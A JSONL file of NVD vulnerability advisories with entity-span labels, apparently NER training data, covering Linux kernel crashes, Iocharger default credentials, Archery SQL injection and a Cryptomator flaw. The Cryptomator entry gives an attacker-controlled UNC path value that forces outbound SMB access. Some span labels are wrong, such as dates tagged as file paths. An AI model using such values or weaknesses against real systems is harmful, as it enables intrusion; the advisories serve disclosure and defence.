{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: unset the binding mark of a reused connection\n\nSteve French reported null pointer dereference error from sha256 lib.\ncifs.ko can send session setup requests on reused connection.\nIf reused connection is used for binding session, conn->binding can\nstill remain true and generate_preauth_hash() will not set\nsess->Preauth_HashValue and it will be NULL.\nIt is used as a material to create an encryption key in\nksmbd_gen_smb311_encryptionkey. ->Preauth_HashValue cause null pointer\ndereference error from crypto_shash_update().\n\nBUG: kernel NULL pointer dereference, address: 0000000000000000\n#PF: supervisor read access in kernel mode\n#PF: error_code(0x0000) - not-present page\nPGD 0 P4D 0\nOops: 0000 [#1] PREEMPT SMP PTI\nCPU: 8 PID: 429254 Comm: kworker/8:39\nHardware name: LENOVO 20MAS08500/20MAS08500, BIOS N2CET69W (1.52 )\nWorkqueue: ksmbd-io handle_ksmbd_work [ksmbd]\nRIP: 0010:lib_sha256_base_do_update.isra.0+0x11e/0x1d0 [sha256_ssse3]\n<TASK>\n? show_regs+0x6d/0x80\n? __die+0x24/0x80\n? page_fault_oops+0x99/0x1b0\n? do_user_addr_fault+0x2ee/0x6b0\n? exc_page_fault+0x83/0x1b0\n? asm_exc_page_fault+0x27/0x30\n? __pfx_sha256_transform_rorx+0x10/0x10 [sha256_ssse3]\n? lib_sha256_base_do_update.isra.0+0x11e/0x1d0 [sha256_ssse3]\n? __pfx_sha256_transform_rorx+0x10/0x10 [sha256_ssse3]\n? __pfx_sha256_transform_rorx+0x10/0x10 [sha256_ssse3]\n_sha256_update+0x77/0xa0 [sha256_ssse3]\nsha256_avx2_update+0x15/0x30 [sha256_ssse3]\ncrypto_shash_update+0x1e/0x40\nhmac_update+0x12/0x20\ncrypto_shash_update+0x1e/0x40\ngenerate_key+0x234/0x380 [ksmbd]\ngenerate_smb3encryptionkey+0x40/0x1c0 [ksmbd]\nksmbd_gen_smb311_encryptionkey+0x72/0xa0 [ksmbd]\nntlm_authenticate.isra.0+0x423/0x5d0 [ksmbd]\nsmb2_sess_setup+0x952/0xaa0 [ksmbd]\n__process_request+0xa3/0x1d0 [ksmbd]\n__handle_ksmbd_work+0x1c4/0x2f0 [ksmbd]\nhandle_ksmbd_work+0x2d/0xa0 [ksmbd]\nprocess_one_work+0x16c/0x350\nworker_thread+0x306/0x440\n? __pfx_worker_thread+0x10/0x10\nkthread+0xef/0x120\n? __pfx_kthread+0x10/0x10\nret_from_fork+0x44/0x70\n? __pfx_kthread+0x10/0x10\nret_from_fork_asm+0x1b/0x30\n</TASK>", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: null pointer dereference": [[145, 169]], "VULNERABILITY: NULL pointer dereference": [[613, 637]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-46795"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: MGMT: Fix possible UAFs\n\nThis attemps to fix possible UAFs caused by struct mgmt_pending being\nfreed while still being processed like in the following trace, in order\nto fix mgmt_pending_valid is introduce and use to check if the\nmgmt_pending hasn't been removed from the pending list, on the complete\ncallbacks it is used to check and in addtion remove the cmd from the list\nwhile holding mgmt_pending_lock to avoid TOCTOU problems since if the cmd\nis left on the list it can still be accessed and freed.\n\nBUG: KASAN: slab-use-after-free in mgmt_add_adv_patterns_monitor_sync+0x35/0x50 net/bluetooth/mgmt.c:5223\nRead of size 8 at addr ffff8880709d4dc0 by task kworker/u11:0/55\n\nCPU: 0 UID: 0 PID: 55 Comm: kworker/u11:0 Not tainted 6.16.4 #2 PREEMPT(full)\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014\nWorkqueue: hci0 hci_cmd_sync_work\nCall Trace:\n <TASK>\n dump_stack_lvl+0x189/0x250 lib/dump_stack.c:120\n print_address_description mm/kasan/report.c:378 [inline]\n print_report+0xca/0x240 mm/kasan/report.c:482\n kasan_report+0x118/0x150 mm/kasan/report.c:595\n mgmt_add_adv_patterns_monitor_sync+0x35/0x50 net/bluetooth/mgmt.c:5223\n hci_cmd_sync_work+0x210/0x3a0 net/bluetooth/hci_sync.c:332\n process_one_work kernel/workqueue.c:3238 [inline]\n process_scheduled_works+0xade/0x17b0 kernel/workqueue.c:3321\n worker_thread+0x8a0/0xda0 kernel/workqueue.c:3402\n kthread+0x711/0x8a0 kernel/kthread.c:464\n ret_from_fork+0x3fc/0x770 arch/x86/kernel/process.c:148\n ret_from_fork_asm+0x1a/0x30 home/kwqcheii/source/fuzzing/kernel/kasan/linux-6.16.4/arch/x86/entry/entry_64.S:245\n </TASK>\n\nAllocated by task 12210:\n kasan_save_stack mm/kasan/common.c:47 [inline]\n kasan_save_track+0x3e/0x80 mm/kasan/common.c:68\n poison_kmalloc_redzone mm/kasan/common.c:377 [inline]\n __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:394\n kasan_kmalloc include/linux/kasan.h:260 [inline]\n __kmalloc_cache_noprof+0x230/0x3d0 mm/slub.c:4364\n kmalloc_noprof include/linux/slab.h:905 [inline]\n kzalloc_noprof include/linux/slab.h:1039 [inline]\n mgmt_pending_new+0x65/0x1e0 net/bluetooth/mgmt_util.c:269\n mgmt_pending_add+0x35/0x140 net/bluetooth/mgmt_util.c:296\n __add_adv_patterns_monitor+0x130/0x200 net/bluetooth/mgmt.c:5247\n add_adv_patterns_monitor+0x214/0x360 net/bluetooth/mgmt.c:5364\n hci_mgmt_cmd+0x9c9/0xef0 net/bluetooth/hci_sock.c:1719\n hci_sock_sendmsg+0x6ca/0xef0 net/bluetooth/hci_sock.c:1839\n sock_sendmsg_nosec net/socket.c:714 [inline]\n __sock_sendmsg+0x219/0x270 net/socket.c:729\n sock_write_iter+0x258/0x330 net/socket.c:1133\n new_sync_write fs/read_write.c:593 [inline]\n vfs_write+0x5c9/0xb30 fs/read_write.c:686\n ksys_write+0x145/0x250 fs/read_write.c:738\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xfa/0x3b0 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n\nFreed by task 12221:\n kasan_save_stack mm/kasan/common.c:47 [inline]\n kasan_save_track+0x3e/0x80 mm/kasan/common.c:68\n kasan_save_free_info+0x46/0x50 mm/kasan/generic.c:576\n poison_slab_object mm/kasan/common.c:247 [inline]\n __kasan_slab_free+0x62/0x70 mm/kasan/common.c:264\n kasan_slab_free include/linux/kasan.h:233 [inline]\n slab_free_hook mm/slub.c:2381 [inline]\n slab_free mm/slub.c:4648 [inline]\n kfree+0x18e/0x440 mm/slub.c:4847\n mgmt_pending_free net/bluetooth/mgmt_util.c:311 [inline]\n mgmt_pending_foreach+0x30d/0x380 net/bluetooth/mgmt_util.c:257\n __mgmt_power_off+0x169/0x350 net/bluetooth/mgmt.c:9444\n hci_dev_close_sync+0x754/0x1330 net/bluetooth/hci_sync.c:5290\n hci_dev_do_close net/bluetooth/hci_core.c:501 [inline]\n hci_dev_close+0x108/0x200 net/bluetooth/hci_core.c:526\n sock_do_ioctl+0xd9/0x300 net/socket.c:1192\n sock_ioctl+0x576/0x790 net/socket.c:1313\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:907 [inline]\n __se_sys_ioctl+0xf9/0x170 fs/ioctl.c:893\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xf\n---truncated---", "spans": {"FILEPATH: /bluetooth/mgmt.c": [[670, 687], [1229, 1246], [2288, 2305], [2352, 2369], [3508, 3525]], "FILEPATH: /01/2014": [[915, 923]], "FILEPATH: /kasan/report.c": [[1056, 1071], [1112, 1127], [1160, 1175]], "FILEPATH: /bluetooth/hci_sync.c": [[1286, 1307], [3567, 3588]], "FILEPATH: /x86/kernel/process.c": [[1549, 1570]], "FILEPATH: /kwqcheii/source/fuzzing/kernel/kasan/linux-6.16.4/arch/x86/entry/entry_64.S": [[1608, 1684]], "FILEPATH: /kasan/common.c": [[1744, 1759], [1802, 1817], [1847, 1862], [1905, 1920], [2958, 2973], [3016, 3031], [3112, 3127], [3172, 3187]], "FILEPATH: /linux/kasan.h": [[1947, 1961], [3216, 3230]], "FILEPATH: /linux/slab.h": [[2049, 2062], [2099, 2112]], "FILEPATH: /bluetooth/mgmt_util.c": [[2159, 2181], [2218, 2240], [3375, 3397], [3448, 3470]], "FILEPATH: /bluetooth/hci_sock.c": [[2404, 2425], [2464, 2485]], "FILEPATH: /x86/entry/syscall_64.c": [[2781, 2804], [2847, 2870], [3928, 3951]], "FILEPATH: /kasan/generic.c": [[3069, 3085]], "FILEPATH: /bluetooth/hci_core.c": [[3615, 3636], [3680, 3701]], "FILEPATH: dump_stack.c": [[1010, 1022]], "FILEPATH: workqueue.c": [[1337, 1348], [1408, 1419], [1459, 1470]], "FILEPATH: kthread.c": [[1504, 1513]], "FILEPATH: slub.c": [[2014, 2020], [3263, 3269], [3298, 3304], [3341, 3347]], "FILEPATH: socket.c": [[2515, 2523], [2569, 2577], [2615, 2623], [3736, 3744], [3778, 3786]], "FILEPATH: read_write.c": [[2648, 2660], [2700, 2712], [2744, 2756]], "FILEPATH: ioctl.c": [[3806, 3813], [3845, 3852], [3896, 3903]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[852, 856]], "VULNERABILITY: use-after-free": [[604, 618]], "VULNERABILITY: TOCTOU": [[497, 503]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39981"}}
{"text": "After gaining access to the firmware of a charging station, a file at <redacted> can be accessed to obtain default credentials that are the same across all Iocharger AC model EV chargers.\n\nThis issue affects Iocharger firmware for AC models before firmware version 25010801. \n\nThe issue is addressed by requiring a mandatory password change on first login, it is still recommended to change the password on older models.\n\nLikelihood: Moderate – The attacker will first have to abuse a code execution or file inclusion vulnerability (for example by using <redacted>.sh) to gain access to the <redacted>.json file, or obtain a firmware dump of the charging station or obtain the firmware via other channels.\n\nImpact: Critical – All chargers using Iocharger firmware for AC models started with the same initial password. For models with firmware version before 25010801 a password change was not mandatory. It is therefore very likely that this firmware password is still active on many chargers. These credentials could, once obtained, allow an attacker to log into many Iocharger charging station, and allow them to execute arbitrary commands via the System → Custom page.\n\nCVSS clarification: Any network interface serving the web ui is vulnerable (AV:N) and there are not additional security measures to circumvent (AC:L), nor does the attack require and existing preconditions (AT:N). The attack is authenticated, and requires high privileges (PR:H), there is no user interaction required (UI:N). The attack leads to a compromised of the confidentialy of the \"super user\" credentials of the device (VC:H/VI:N/VA:N), and can subsequently be used to full compromise and other devices (SC:H/SI:H/SA:H). Becuase this is an EV charger handing significant power, there is a potential safety impact (S:P). This attack can be automated (AU:Y).", "spans": {"VULNERABILITY: code execution": [[485, 499]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-43659"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix to avoid UAF in f2fs_sync_inode_meta()\n\nsyzbot reported an UAF issue as below: [1] [2]\n\n[1] https://syzkaller.appspot.com/text?tag=CrashReport&x=16594c60580000\n\n==================================================================\nBUG: KASAN: use-after-free in __list_del_entry_valid+0xa6/0x130 lib/list_debug.c:62\nRead of size 8 at addr ffff888100567dc8 by task kworker/u4:0/8\n\nCPU: 1 PID: 8 Comm: kworker/u4:0 Tainted: G        W          6.1.129-syzkaller-00017-g642656a36791 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 02/12/2025\nWorkqueue: writeback wb_workfn (flush-7:0)\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:88 [inline]\n dump_stack_lvl+0x151/0x1b7 lib/dump_stack.c:106\n print_address_description mm/kasan/report.c:316 [inline]\n print_report+0x158/0x4e0 mm/kasan/report.c:427\n kasan_report+0x13c/0x170 mm/kasan/report.c:531\n __asan_report_load8_noabort+0x14/0x20 mm/kasan/report_generic.c:351\n __list_del_entry_valid+0xa6/0x130 lib/list_debug.c:62\n __list_del_entry include/linux/list.h:134 [inline]\n list_del_init include/linux/list.h:206 [inline]\n f2fs_inode_synced+0x100/0x2e0 fs/f2fs/super.c:1553\n f2fs_update_inode+0x72/0x1c40 fs/f2fs/inode.c:588\n f2fs_update_inode_page+0x135/0x170 fs/f2fs/inode.c:706\n f2fs_write_inode+0x416/0x790 fs/f2fs/inode.c:734\n write_inode fs/fs-writeback.c:1460 [inline]\n __writeback_single_inode+0x4cf/0xb80 fs/fs-writeback.c:1677\n writeback_sb_inodes+0xb32/0x1910 fs/fs-writeback.c:1903\n __writeback_inodes_wb+0x118/0x3f0 fs/fs-writeback.c:1974\n wb_writeback+0x3da/0xa00 fs/fs-writeback.c:2081\n wb_check_background_flush fs/fs-writeback.c:2151 [inline]\n wb_do_writeback fs/fs-writeback.c:2239 [inline]\n wb_workfn+0xbba/0x1030 fs/fs-writeback.c:2266\n process_one_work+0x73d/0xcb0 kernel/workqueue.c:2299\n worker_thread+0xa60/0x1260 kernel/workqueue.c:2446\n kthread+0x26d/0x300 kernel/kthread.c:386\n ret_from_fork+0x1f/0x30 arch/x86/entry/entry_64.S:295\n </TASK>\n\nAllocated by task 298:\n kasan_save_stack mm/kasan/common.c:45 [inline]\n kasan_set_track+0x4b/0x70 mm/kasan/common.c:52\n kasan_save_alloc_info+0x1f/0x30 mm/kasan/generic.c:505\n __kasan_slab_alloc+0x6c/0x80 mm/kasan/common.c:333\n kasan_slab_alloc include/linux/kasan.h:202 [inline]\n slab_post_alloc_hook+0x53/0x2c0 mm/slab.h:768\n slab_alloc_node mm/slub.c:3421 [inline]\n slab_alloc mm/slub.c:3431 [inline]\n __kmem_cache_alloc_lru mm/slub.c:3438 [inline]\n kmem_cache_alloc_lru+0x102/0x270 mm/slub.c:3454\n alloc_inode_sb include/linux/fs.h:3255 [inline]\n f2fs_alloc_inode+0x2d/0x350 fs/f2fs/super.c:1437\n alloc_inode fs/inode.c:261 [inline]\n iget_locked+0x18c/0x7e0 fs/inode.c:1373\n f2fs_iget+0x55/0x4ca0 fs/f2fs/inode.c:486\n f2fs_lookup+0x3c1/0xb50 fs/f2fs/namei.c:484\n __lookup_slow+0x2b9/0x3e0 fs/namei.c:1689\n lookup_slow+0x5a/0x80 fs/namei.c:1706\n walk_component+0x2e7/0x410 fs/namei.c:1997\n lookup_last fs/namei.c:2454 [inline]\n path_lookupat+0x16d/0x450 fs/namei.c:2478\n filename_lookup+0x251/0x600 fs/namei.c:2507\n vfs_statx+0x107/0x4b0 fs/stat.c:229\n vfs_fstatat fs/stat.c:267 [inline]\n vfs_lstat include/linux/fs.h:3434 [inline]\n __do_sys_newlstat fs/stat.c:423 [inline]\n __se_sys_newlstat+0xda/0x7c0 fs/stat.c:417\n __x64_sys_newlstat+0x5b/0x70 fs/stat.c:417\n x64_sys_call+0x52/0x9a0 arch/x86/include/generated/asm/syscalls_64.h:7\n do_syscall_x64 arch/x86/entry/common.c:51 [inline]\n do_syscall_64+0x3b/0x80 arch/x86/entry/common.c:81\n entry_SYSCALL_64_after_hwframe+0x68/0xd2\n\nFreed by task 0:\n kasan_save_stack mm/kasan/common.c:45 [inline]\n kasan_set_track+0x4b/0x70 mm/kasan/common.c:52\n kasan_save_free_info+0x2b/0x40 mm/kasan/generic.c:516\n ____kasan_slab_free+0x131/0x180 mm/kasan/common.c:241\n __kasan_slab_free+0x11/0x20 mm/kasan/common.c:249\n kasan_slab_free include/linux/kasan.h:178 [inline]\n slab_free_hook mm/slub.c:1745 [inline]\n slab_free_freelist_hook mm/slub.c:1771 [inline]\n slab_free mm/slub.c:3686 [inline]\n kmem_cache_free+0x\n---truncated---", "spans": {"URL: https://syzkaller.appspot.com/text?tag=CrashReport&x=16594c60580000": [[171, 238]], "FILEPATH: /12/2025": [[639, 647]], "FILEPATH: /kasan/report.c": [[832, 847], [889, 904], [937, 952]], "FILEPATH: /kasan/report_generic.c": [[998, 1021]], "FILEPATH: /linux/list.h": [[1106, 1119], [1155, 1168]], "FILEPATH: /f2fs/super.c": [[1215, 1228], [2610, 2623]], "FILEPATH: /f2fs/inode.c": [[1267, 1280], [1323, 1336], [1373, 1386], [2732, 2745]], "FILEPATH: /x86/entry/entry_64.S": [[1993, 2014]], "FILEPATH: /kasan/common.c": [[2072, 2087], [2129, 2144], [2236, 2251], [3550, 3565], [3607, 3622], [3716, 3731], [3767, 3782]], "FILEPATH: /kasan/generic.c": [[2183, 2199], [3660, 3676]], "FILEPATH: /linux/kasan.h": [[2281, 2295], [3811, 3825]], "FILEPATH: /linux/fs.h": [[2553, 2564], [3138, 3149]], "FILEPATH: /f2fs/namei.c": [[2777, 2790]], "FILEPATH: /x86/include/generated/asm/syscalls_64.h": [[3323, 3363]], "FILEPATH: /x86/entry/common.c": [[3386, 3405], [3447, 3466]], "FILEPATH: list_debug.c": [[375, 387], [1065, 1077]], "FILEPATH: dump_stack.c": [[729, 741], [786, 798]], "FILEPATH: writeback.c": [[1410, 1421], [1480, 1491], [1537, 1548], [1595, 1606], [1644, 1655], [1694, 1705], [1743, 1754], [1799, 1810]], "FILEPATH: workqueue.c": [[1853, 1864], [1905, 1916]], "FILEPATH: kthread.c": [[1950, 1959]], "FILEPATH: slab.h": [[2345, 2351]], "FILEPATH: slub.c": [[2376, 2382], [2412, 2418], [2460, 2466], [2518, 2524], [3858, 3864], [3907, 3913], [3942, 3948]], "FILEPATH: inode.c": [[2645, 2652], [2694, 2701]], "FILEPATH: namei.c": [[2825, 2832], [2864, 2871], [2908, 2915], [2937, 2944], [2989, 2996], [3034, 3041]], "FILEPATH: stat.c": [[3073, 3079], [3100, 3106], [3186, 3192], [3239, 3245], [3283, 3289]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[573, 579], [580, 586], [602, 608], [630, 636]], "VULNERABILITY: use-after-free": [[319, 333]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38578"}}
{"text": "A Use After Free vulnerability in svg_dev_text_span_as_paths_defs function in source/fitz/svg-device.c in Artifex Software MuPDF 1.16.0 allows remote attackers to cause a denial of service via opening of a crafted PDF file.", "spans": {"FILEPATH: /fitz/svg-device.c": [[84, 102]], "VULNERABILITY: denial of service": [[171, 188]], "VULNERABILITY: Use After Free": [[2, 16]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-21896"}}
{"text": "This vulnerability allows remote attackers to disclose sensitive information on affected installations of Foxit Studio Photo 3.6.6.922. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of CR2 files. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated structure. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of the current process. Was ZDI-CAN-11434.", "spans": {"IP_ADDRESS: 3.6.6.922": [[125, 134]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-27856"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nath11k: mhi: use mhi_sync_power_up()\n\nIf amss.bin was missing ath11k would crash during 'rmmod ath11k_pci'. The\nreason for that was that we were using mhi_async_power_up() which does not\ncheck any errors. But mhi_sync_power_up() on the other hand does check for\nerrors so let's use that to fix the crash.\n\nI was not able to find a reason why an async version was used.\nath11k_mhi_start() (which enables state ATH11K_MHI_POWER_ON) is called from\nath11k_hif_power_up(), which can sleep. So sync version should be safe to use\nhere.\n\n[  145.569731] general protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC KASAN PTI\n[  145.569789] KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]\n[  145.569843] CPU: 2 PID: 1628 Comm: rmmod Kdump: loaded Tainted: G        W         5.16.0-wt-ath+ #567\n[  145.569898] Hardware name: Intel(R) Client Systems NUC8i7HVK/NUC8i7HVB, BIOS HNKBLi70.86A.0067.2021.0528.1339 05/28/2021\n[  145.569956] RIP: 0010:ath11k_hal_srng_access_begin+0xb5/0x2b0 [ath11k]\n[  145.570028] Code: df 48 89 fa 48 c1 ea 03 80 3c 02 00 0f 85 ec 01 00 00 48 8b ab a8 00 00 00 48 b8 00 00 00 00 00 fc ff df 48 89 ea 48 c1 ea 03 <0f> b6 14 02 48 89 e8 83 e0 07 83 c0 03 45 85 ed 75 48 38 d0 7c 08\n[  145.570089] RSP: 0018:ffffc900025d7ac0 EFLAGS: 00010246\n[  145.570144] RAX: dffffc0000000000 RBX: ffff88814fca2dd8 RCX: 1ffffffff50cb455\n[  145.570196] RDX: 0000000000000000 RSI: ffff88814fca2dd8 RDI: ffff88814fca2e80\n[  145.570252] RBP: 0000000000000000 R08: 0000000000000000 R09: ffffffffa8659497\n[  145.570329] R10: fffffbfff50cb292 R11: 0000000000000001 R12: ffff88814fca0000\n[  145.570410] R13: 0000000000000000 R14: ffff88814fca2798 R15: ffff88814fca2dd8\n[  145.570465] FS:  00007fa399988540(0000) GS:ffff888233e00000(0000) knlGS:0000000000000000\n[  145.570519] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[  145.570571] CR2: 00007fa399b51421 CR3: 0000000137898002 CR4: 00000000003706e0\n[  145.570623] Call Trace:\n[  145.570675]  <TASK>\n[  145.570727]  ? ath11k_ce_tx_process_cb+0x34b/0x860 [ath11k]\n[  145.570797]  ath11k_ce_tx_process_cb+0x356/0x860 [ath11k]\n[  145.570864]  ? tasklet_init+0x150/0x150\n[  145.570919]  ? ath11k_ce_alloc_pipes+0x280/0x280 [ath11k]\n[  145.570986]  ? tasklet_clear_sched+0x42/0xe0\n[  145.571042]  ? tasklet_kill+0xe9/0x1b0\n[  145.571095]  ? tasklet_clear_sched+0xe0/0xe0\n[  145.571148]  ? irq_has_action+0x120/0x120\n[  145.571202]  ath11k_ce_cleanup_pipes+0x45a/0x580 [ath11k]\n[  145.571270]  ? ath11k_pci_stop+0x10e/0x170 [ath11k_pci]\n[  145.571345]  ath11k_core_stop+0x8a/0xc0 [ath11k]\n[  145.571434]  ath11k_core_deinit+0x9e/0x150 [ath11k]\n[  145.571499]  ath11k_pci_remove+0xd2/0x260 [ath11k_pci]\n[  145.571553]  pci_device_remove+0x9a/0x1c0\n[  145.571605]  __device_release_driver+0x332/0x660\n[  145.571659]  driver_detach+0x1e7/0x2c0\n[  145.571712]  bus_remove_driver+0xe2/0x2d0\n[  145.571772]  pci_unregister_driver+0x21/0x250\n[  145.571826]  __do_sys_delete_module+0x30a/0x4b0\n[  145.571879]  ? free_module+0xac0/0xac0\n[  145.571933]  ? lockdep_hardirqs_on_prepare.part.0+0x18c/0x370\n[  145.571986]  ? syscall_enter_from_user_mode+0x1d/0x50\n[  145.572039]  ? lockdep_hardirqs_on+0x79/0x100\n[  145.572097]  do_syscall_64+0x3b/0x90\n[  145.572153]  entry_SYSCALL_64_after_hwframe+0x44/0xae\n\nTested-on: WCN6855 hw2.0 PCI WLAN.HSP.1.1-03003-QCAHSPSWPL_V1_V2_SILICONZ_LITE-2", "spans": {"FILEPATH: /28/2021": [[1050, 1058]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Intel": [[965, 970]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49130"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nice: Fix NULL pointer dereference in ice_vsi_set_napi_queues\n\nAdd NULL pointer checks in ice_vsi_set_napi_queues() to prevent crashes\nduring resume from suspend when rings[q_idx]->q_vector is NULL.\n\nTested adaptor:\n60:00.0 Ethernet controller [0200]: Intel Corporation Ethernet Controller E810-XXV for SFP [8086:159b] (rev 02)\n        Subsystem: Intel Corporation Ethernet Network Adapter E810-XXV-2 [8086:4003]\n\nSR-IOV state: both disabled and enabled can reproduce this issue.\n\nkernel version: v6.18\n\nReproduce steps:\nBoot up and execute suspend like systemctl suspend or rtcwake.\n\nLog:\n<1>[  231.443607] BUG: kernel NULL pointer dereference, address: 0000000000000040\n<1>[  231.444052] #PF: supervisor read access in kernel mode\n<1>[  231.444484] #PF: error_code(0x0000) - not-present page\n<6>[  231.444913] PGD 0 P4D 0\n<4>[  231.445342] Oops: Oops: 0000 [#1] SMP NOPTI\n<4>[  231.446635] RIP: 0010:netif_queue_set_napi+0xa/0x170\n<4>[  231.447067] Code: 31 f6 31 ff c3 cc cc cc cc 0f 1f 80 00 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 0f 1f 44 00 00 48 85 c9 74 0b <48> 83 79 30 00 0f 84 39 01 00 00 55 41 89 d1 49 89 f8 89 f2 48 89\n<4>[  231.447513] RSP: 0018:ffffcc780fc078c0 EFLAGS: 00010202\n<4>[  231.447961] RAX: ffff8b848ca30400 RBX: ffff8b848caf2028 RCX: 0000000000000010\n<4>[  231.448443] RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffff8b848dbd4000\n<4>[  231.448896] RBP: ffffcc780fc078e8 R08: 0000000000000000 R09: 0000000000000000\n<4>[  231.449345] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000001\n<4>[  231.449817] R13: ffff8b848dbd4000 R14: ffff8b84833390c8 R15: 0000000000000000\n<4>[  231.450265] FS:  00007c7b29e9d740(0000) GS:ffff8b8c068e2000(0000) knlGS:0000000000000000\n<4>[  231.450715] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n<4>[  231.451179] CR2: 0000000000000040 CR3: 000000030626f004 CR4: 0000000000f72ef0\n<4>[  231.451629] PKRU: 55555554\n<4>[  231.452076] Call Trace:\n<4>[  231.452549]  <TASK>\n<4>[  231.452996]  ? ice_vsi_set_napi_queues+0x4d/0x110 [ice]\n<4>[  231.453482]  ice_resume+0xfd/0x220 [ice]\n<4>[  231.453977]  ? __pfx_pci_pm_resume+0x10/0x10\n<4>[  231.454425]  pci_pm_resume+0x8c/0x140\n<4>[  231.454872]  ? __pfx_pci_pm_resume+0x10/0x10\n<4>[  231.455347]  dpm_run_callback+0x5f/0x160\n<4>[  231.455796]  ? dpm_wait_for_superior+0x107/0x170\n<4>[  231.456244]  device_resume+0x177/0x270\n<4>[  231.456708]  dpm_resume+0x209/0x2f0\n<4>[  231.457151]  dpm_resume_end+0x15/0x30\n<4>[  231.457596]  suspend_devices_and_enter+0x1da/0x2b0\n<4>[  231.458054]  enter_state+0x10e/0x570\n\nAdd defensive checks for both the ring pointer and its q_vector\nbefore dereferencing, allowing the system to resume successfully even when\nq_vectors are unmapped.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Intel": [[320, 325], [415, 420]], "VULNERABILITY: NULL pointer dereference": [[78, 102], [688, 712]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23166"}}
{"text": "Archery is an open source SQL audit platform. The Archery project contains multiple SQL injection vulnerabilities, that may allow an attacker to query the connected databases. User input coming from the `variable_name` and `variable_value` parameter value in the `sql/instance.py` `param_edit` endpoint is passed to a set of methods in given SQL engine implementations, which concatenate user input unsafely into a SQL query and afterwards pass it to the `query` method of each database engine for execution. The affected methods are: `set_variable` in `sql/engines/goinception.py` which concatenates input which is passed to execution on the database in the `sql/engines/goinception.py`, `get_variables` in `sql/engines/goinception.py`  which concatenates input which is passed to execution on the database in the `sql/engines/goinception.py`, `set_variable` in `sql/engines/mysql.py`  which concatenates input which is passed to execution on the database in the `sql/engines/mysql.py` `query`, and `get_variables` in `sql/engines/mysql.py`which concatenates input which is passed to execution on the database in the `sql/engines/mysql.py` `query`. Each of these issues may be mitigated by escaping user input or by using prepared statements when executing SQL queries. This advisory is also indexed as `GHSL-2022-104`.", "spans": {"FILEPATH: /engines/goinception.py": [[557, 580], [663, 686], [712, 735], [819, 842]], "FILEPATH: /engines/mysql.py": [[867, 884], [968, 985], [1023, 1040], [1122, 1139]], "FILEPATH: instance.py": [[268, 279]], "VULNERABILITY: SQL injection": [[84, 97]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-30605"}}
{"text": "Cryptomator encrypts data being stored on cloud infrastructure. From version 1.6.0 to before version 1.19.1, vault configuration is parsed before its integrity is verified, and the masterkeyfile loader uses the unverified keyId as a filesystem path. The loader resolves keyId.getSchemeSpecificPart() directly against the vault path and immediately calls Files.exists(...). This allows a malicious vault config to supply parent-directory escapes, absolute local paths, or UNC paths (e.g., masterkeyfile://attacker/share/masterkey.cryptomator). On Windows, the UNC variant is especially dangerous because Path.resolve(\"//attacker/share/...\") becomes \\\\attacker\\share\\..., so the existence check can trigger outbound SMB access before the user even enters a passphrase. This issue has been patched in version 1.19.1.", "spans": {"FILEPATH: /attacker/share/masterkey.cryptomator": [[503, 540]], "FILEPATH: /attacker/share/...": [[618, 637]], "SYSTEM: Windows": [[546, 553]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-32310"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nata: libata-transport: fix error handling in ata_tport_add()\n\nIn ata_tport_add(), the return value of transport_add_device() is\nnot checked. As a result, it causes null-ptr-deref while removing\nthe module, because transport_remove_device() is called to remove\nthe device that was not added.\n\nUnable to handle kernel NULL pointer dereference at virtual address 00000000000000d0\nCPU: 12 PID: 13605 Comm: rmmod Kdump: loaded Tainted: G        W          6.1.0-rc3+ #8\npstate: 60400009 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\npc : device_del+0x48/0x39c\nlr : device_del+0x44/0x39c\nCall trace:\n device_del+0x48/0x39c\n attribute_container_class_device_del+0x28/0x40\n transport_remove_classdev+0x60/0x7c\n attribute_container_device_trigger+0x118/0x120\n transport_remove_device+0x20/0x30\n ata_tport_delete+0x34/0x60 [libata]\n ata_port_detach+0x148/0x1b0 [libata]\n ata_pci_remove_one+0x50/0x80 [libata]\n ahci_remove_one+0x4c/0x8c [ahci]\n\nFix this by checking and handling return value of 